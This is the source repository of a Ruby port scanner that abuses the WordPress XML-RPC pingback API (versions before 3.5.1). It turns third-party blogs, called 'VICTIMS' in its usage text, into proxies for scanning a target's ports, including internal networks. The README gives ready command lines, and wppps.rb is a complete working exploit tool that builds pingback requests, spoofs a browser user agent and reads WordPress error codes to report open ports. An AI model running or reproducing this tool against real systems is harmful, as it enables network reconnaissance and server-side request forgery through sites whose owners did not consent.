├── Gemfile
├── CREDITS
├── .gitignore
├── Gemfile.lock
├── README.md
└── wppps.rb
/Gemfile:
--------------------------------------------------------------------------------
1 | source "https://rubygems.org"
2 | gem "typhoeus", ">=0.6.3"
--------------------------------------------------------------------------------
/CREDITS:
--------------------------------------------------------------------------------
1 | ======== CREDITS ========
2 | Christian Mehlmauer @_FireFart_ - Developer
3 |
4 | Robin Wood - robin@digininja.org: typhoeus 0.5 adaption, added command line options
5 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | *.gem
2 | *.rbc
3 | .bundle
4 | .config
5 | coverage
6 | InstalledFiles
7 | lib/bundler/man
8 | pkg
9 | rdoc
10 | spec/reports
11 | test/tmp
12 | test/version_tmp
13 | tmp
14 | .idea/
15 |
16 | # YARD artifacts
17 | .yardoc
18 | _yardoc
19 | doc/
20 |
--------------------------------------------------------------------------------
/Gemfile.lock:
--------------------------------------------------------------------------------
1 | GEM
2 | remote: https://rubygems.org/
3 | specs:
4 | ethon (0.5.12)
5 | ffi (>= 1.3.0)
6 | mime-types (~> 1.18)
7 | ffi (1.9.0)
8 | mime-types (1.23)
9 | typhoeus (0.6.3)
10 | ethon (~> 0.5.11)
11 |
12 | PLATFORMS
13 | ruby
14 |
15 | DEPENDENCIES
16 | typhoeus (>= 0.6.3)
17 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | WordpressPingbackPortScanner
2 | ============================
3 |
4 | Wordpress exposes a so called Pingback API to link to other blogposts.
5 | Using this feature you can scan other hosts on the intra- or internet via this server.
6 | You can also use this feature for some kind of distributed port scanning:
7 | You can scan a single host using multiple Wordpress Blogs exposing this API.
8 | This issue was fixed in Wordpress 3.5.1. Older versions are vulnerable,
9 | if the XML-RPC Interface is active.
10 |
11 | Examples
12 | --------
13 | Before you start you need to install all dependencies with
14 | ```
15 | gem install bundler
16 | bundle install
17 | ```
18 |
19 | Quick-scan a target via a blog:
20 | ```
21 | ruby wppps.rb -t http://www.target.com http://www.myblog.com/
22 | ```
23 |
24 | Use multiple blogs to scan a single target:
25 | ```
26 | ruby wppps.rb -t http://www.target.com http://www.myblog1.com/ http://www.myblog2.com/ http://www.myblog3.com/
27 | ```
28 |
29 | Scan a free wordpress.com blog (all ports) from the internal network:
30 | ```
31 | ruby wppps.rb -a -t http://localhost http://myblog.wordpress.com/
32 | ```
33 |
--------------------------------------------------------------------------------
/wppps.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | require 'optparse'
4 | require 'typhoeus'
5 | require 'uri'
6 | require 'ostruct'
7 |
8 | class Array
9 | alias_method :sample, :choice unless method_defined?(:sample)
10 | end
11 |
12 | def colorize(text, color_code)
13 | "\e[#{color_code}m#{text}\e[0m"
14 | end
15 |
16 | def red(text)
17 | colorize(text, 31)
18 | end
19 |
20 | def green(text)
21 | colorize(text, 32)
22 | end
23 |
24 | def yellow(text)
25 | colorize(text, 33)
26 | end
27 |
28 | def logo
29 | puts
30 | puts ' _ __ __ ___ _ __ __'
31 | puts ' | | /| / /__ _______/ /__ _______ ___ ___ / _ \\(_)__ ___ _/ / ___ _____/ /__'
32 | puts ' | |/ |/ / _ \\/ __/ _ / _ \\/ __/ -_|_-<(_-< / ___/ / _ \\/ _ `/ _ \\/ _ `/ __/ \'_/'
33 | puts ' |__/|__/\\___/_/ \\_,_/ .__/_/ \\__/___/___/ /_/ /_/_//_/\\_, /_.__/\\_,_/\\__/_/\\_\\'
34 | puts ' ___ __ /_/___ /___/'
35 | puts ' / _ \\___ ____/ /_ / __/______ ____ ___ ___ ____'
36 | puts ' / ___/ _ \\/ __/ __/ _\\ \\/ __/ _ `/ _ \\/ _ \\/ -_) __/'
37 | puts ' /_/ \\___/_/ \\__/ /___/\\__/\\_,_/_//_/_//_/\\__/_/'
38 | puts
39 | puts yellow('Warning: this tool only works with Wordpress versions < 3.5.1')
40 | puts yellow('To determine your Wordpress version you can use WPScan http://wpscan.org/')
41 | puts
42 | end
43 |
44 | def generate_pingback_xml (target, valid_blog_post)
45 | xml = ''
46 | xml << ''
47 | xml << 'pingback.ping'
48 | xml << ''
49 | xml << "#{target}"
50 | xml << "#{valid_blog_post}"
51 | xml << ''
52 | xml << ''
53 | xml
54 | end
55 |
56 | def xml_rpc_url_from_headers(url)
57 | resp = Typhoeus::Request.head(url,
58 | :followlocation => true,
59 | :maxredirs => 10,
60 | :timeout => 5000,
61 | :headers => {'User-Agent' => @options.useragent}
62 | )
63 | headers = resp.headers_hash
64 | # Provided by header? Otherwise return nil
65 | headers['x-pingback']
66 | end
67 |
68 | def xml_rpc_url_from_body(url)
69 | resp = Typhoeus::Request.get(url,
70 | :followlocation => true,
71 | :maxredirs => 10,
72 | :timeout => 5000,
73 | :headers => {'User-Agent' => @options.useragent}
74 | )
75 | # Get URL from body, return nil if not present
76 | resp.body[%r{}, 1]
77 | end
78 |
79 | def xml_rpc_url_from_default(url)
80 | url = get_default_xmlrpc_url(url)
81 | resp = Typhoeus::Request.get(url,
82 | :followlocation => true,
83 | :maxredirs => 10,
84 | :timeout => 5000,
85 | :headers => {'User-Agent' => @options.useragent}
86 | )
87 | return url if resp.code == 200 and resp.body =~ /XML-RPC server accepts POST requests only./
88 | nil
89 | end
90 |
91 | def get_xml_rpc_url(url)
92 | xmlrpc_url = xml_rpc_url_from_headers(url)
93 | if xmlrpc_url.nil? or xmlrpc_url.empty?
94 | xmlrpc_url = xml_rpc_url_from_body(url)
95 | if xmlrpc_url.nil? or xmlrpc_url.empty?
96 | xmlrpc_url = xml_rpc_url_from_default(url)
97 | if xmlrpc_url.nil? or xmlrpc_url.empty?
98 | raise("Url #{url} does not provide a XML-RPC url")
99 | end
100 | puts 'Got default XML-RPC Url' if @options.verbose
101 | else
102 | puts 'Got XML-RPC Url from Body' if @options.verbose
103 | end
104 | else
105 | puts 'Got XML-RPC Url from Headers' if @options.verbose
106 | end
107 | xmlrpc_url
108 | end
109 |
110 | def get_default_xmlrpc_url(url)
111 | uri = URI.parse(url)
112 | uri.path << '/' if uri.path[-1] != '/'
113 | uri.path << 'xmlrpc.php'
114 | uri.to_s
115 | end
116 |
117 | def get_pingback_request(xml_rpc, target, blog_post)
118 | pingback_xml = generate_pingback_xml(target, blog_post)
119 | Typhoeus::Request.new(xml_rpc,
120 | :followlocation => true,
121 | :maxredirs => 10,
122 | :timeout => 10000,
123 | :method => :post,
124 | :body => pingback_xml,
125 | :headers => {'User-Agent' => @options.useragent}
126 | )
127 | end
128 |
129 | def get_valid_blog_post(xml_rpcs)
130 | blog_posts = []
131 | xml_rpcs.each do |xml_rpc|
132 | url = xml_rpc.sub(/\/xmlrpc\.php$/, '')
133 | # Get valid URLs from Wordpress Feed
134 | feed_url = "#{url}/?feed=rss2"
135 | params = {:followlocation => true, :maxredirs => 10, :headers => {'User-Agent' => @options.useragent}}
136 | response = Typhoeus::Request.get(feed_url, params)
137 | links = response.body.scan(/([^<]+)<\/link>/i)
138 | if response.code != 200 or links.nil? or links.empty?
139 | raise("No valid blog posts found for xmlrpc #{xml_rpc}")
140 | end
141 | links.each do |link|
142 | temp_link = link[0]
143 | puts "Trying #{temp_link}.." if @options.verbose
144 | # Test if pingback is enabled for extracted link
145 | pingback_request = get_pingback_request(xml_rpc, 'http://www.google.com', temp_link)
146 | @hydra.queue(pingback_request)
147 | @hydra.run
148 | pingback_response = pingback_request.response
149 | # No Pingback for post enabled: 33
150 | pingback_disabled_match = pingback_response.body.match(/33<\/int><\/value>/i)
151 | if pingback_response.code == 200 and pingback_disabled_match.nil?
152 | puts "Found valid post under #{temp_link}"
153 | blog_posts << {:xml_rpc => xml_rpc, :blog_post => temp_link}
154 | break
155 | end
156 | end
157 | end
158 |
159 | if blog_posts.nil? or blog_posts.empty?
160 | raise('No valid posts with pingback enabled found')
161 | end
162 |
163 | blog_posts
164 | end
165 |
166 | def is_port_open?(response)
167 | # see wp-includes/class-wp-xmlrpc-server.php#pingback_ping($args) for error codes
168 | # open 17: The source URL does not contain a link to the target URL, and so cannot be used as a source.
169 | # open 32: We cannot find a title on that page.
170 | # closed 16: The source URL does not exist.
171 | open_match = response.body.match(/(17|32)<\/int><\/value>/i)
172 | return true if response.code == 200 and open_match
173 | false
174 | end
175 |
176 | def generate_requests(xml_rpcs, target)
177 | port_range = @options.all_ports ? (0...65535) : @options.ports
178 | port_range.each do |i|
179 | random = (0...8).map { 65.+(rand(26)).chr }.join
180 | xml_rpc_hash = xml_rpcs.sample
181 | uri = URI(target)
182 | uri.port = i
183 | uri.scheme = i == 443 ? 'https' : 'http'
184 | uri.path = "/#{random}/"
185 | pingback_request = get_pingback_request(xml_rpc_hash[:xml_rpc], uri.to_s, xml_rpc_hash[:blog_post])
186 | pingback_request.on_complete do |response|
187 | if is_port_open?(response)
188 | puts green("Port #{i} is open")
189 | else
190 | puts yellow("Port #{i} is closed")
191 | end
192 | if @options.verbose
193 | puts "URL: #{uri.to_s}"
194 | puts "XMLRPC: #{xml_rpc_hash[:xml_rpc]}"
195 | puts 'Request:'
196 | puts pingback_request.options[:body]
197 | puts "Response Code: #{response.code}"
198 | puts response.body
199 | puts '##################################'
200 | end
201 | end
202 | @hydra.queue(pingback_request)
203 | end
204 | end
205 |
206 | begin
207 | logo
208 |
209 | xml_rpcs = []
210 |
211 | @options = OpenStruct.new
212 | @options.target = 'http://localhost'
213 | @options.all_ports = false
214 | @options.ports = [21, 22, 25, 53, 80, 106, 110, 143, 443, 3306, 3389, 8443, 9999]
215 | @options.verbose = false
216 | @options.useragent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0'
217 |
218 | opt_parser = OptionParser.new do |opts|
219 | opts.banner = "Usage: ruby #{opts.program_name}.rb [OPTION] ... VICTIMS"
220 | opts.version = '2.0'
221 |
222 | opts.separator ''
223 | opts.separator 'Specific options:'
224 |
225 | opts.on('-t', '--target TARGET', 'the target to scan - default localhost') do |value|
226 | if value !~ /^http/
227 | @options.target = "http://#{value}"
228 | else
229 | @options.target = value
230 | end
231 | end
232 |
233 | opts.on('-u', '--user-agent USERAGENT', 'send custom User-Agent header') do |value|
234 | @options.useragent = value
235 | end
236 |
237 | opts.on('-a', '--all-ports', 'Scan all ports. Default is to scan only some common ports') do |value|
238 | @options.all_ports = value
239 | end
240 |
241 | opts.on('-p', '--ports PORTS', 'Scan given ports. Comma separated list and ranges are allowed, e.g. 80,8080,25-30') do |value|
242 | ports = value.split(',')
243 | ports.map! {|x| x.split('-')}
244 | ports.map! {|x| x.length > 1 ? (x[0]..x[1]).to_a : x}
245 | @options.ports = ports.flatten.uniq.map{|x| x.to_i}
246 | end
247 |
248 | opts.on('-v', '--verbose', 'Enable verbose output') do |value|
249 | @options.verbose = value
250 | end
251 |
252 | opts.on('-d', '--debug', 'Enable debug output') do |value|
253 | Typhoeus::Config.verbose = value
254 | end
255 |
256 | opts.separator ''
257 | opts.separator 'VICTIMS: a space separated list of victims to use for scanning (must provide a XML-RPC Url)'
258 | opts.separator "Currently defined common ports: #{@options.ports.join(', ')}"
259 | opts.separator ''
260 |
261 | end
262 |
263 | opt_parser.parse!(ARGV)
264 |
265 | if ARGV.empty?
266 | puts opt_parser
267 | exit(-1)
268 | end
269 |
270 | # Parse XML RPCs
271 | ARGV.each do |site|
272 | url_cleanup = site.sub(/\/xmlrpc\.php$/i, '/')
273 | # add trailing slash
274 | url_cleanup =~ /\/$/ ? url_cleanup : "#{url_cleanup}/"
275 | xml_rpcs << get_xml_rpc_url(url_cleanup)
276 | end
277 |
278 | if xml_rpcs.nil? or xml_rpcs.empty?
279 | raise('No valid XML-RPC interfaces found')
280 | end
281 |
282 | @hydra = Typhoeus::Hydra.new(:max_concurrency => 10)
283 |
284 | puts 'Getting valid blog posts for pingback...'
285 | hash = get_valid_blog_post(xml_rpcs)
286 | puts 'Starting portscan...'
287 | generate_requests(hash, @options.target)
288 | @hydra.run
289 | rescue => e
290 | puts red("[ERROR] #{e.message}")
291 | puts red('Trace :')
292 | puts red(e.backtrace.join("\n"))
293 | end
294 |
--------------------------------------------------------------------------------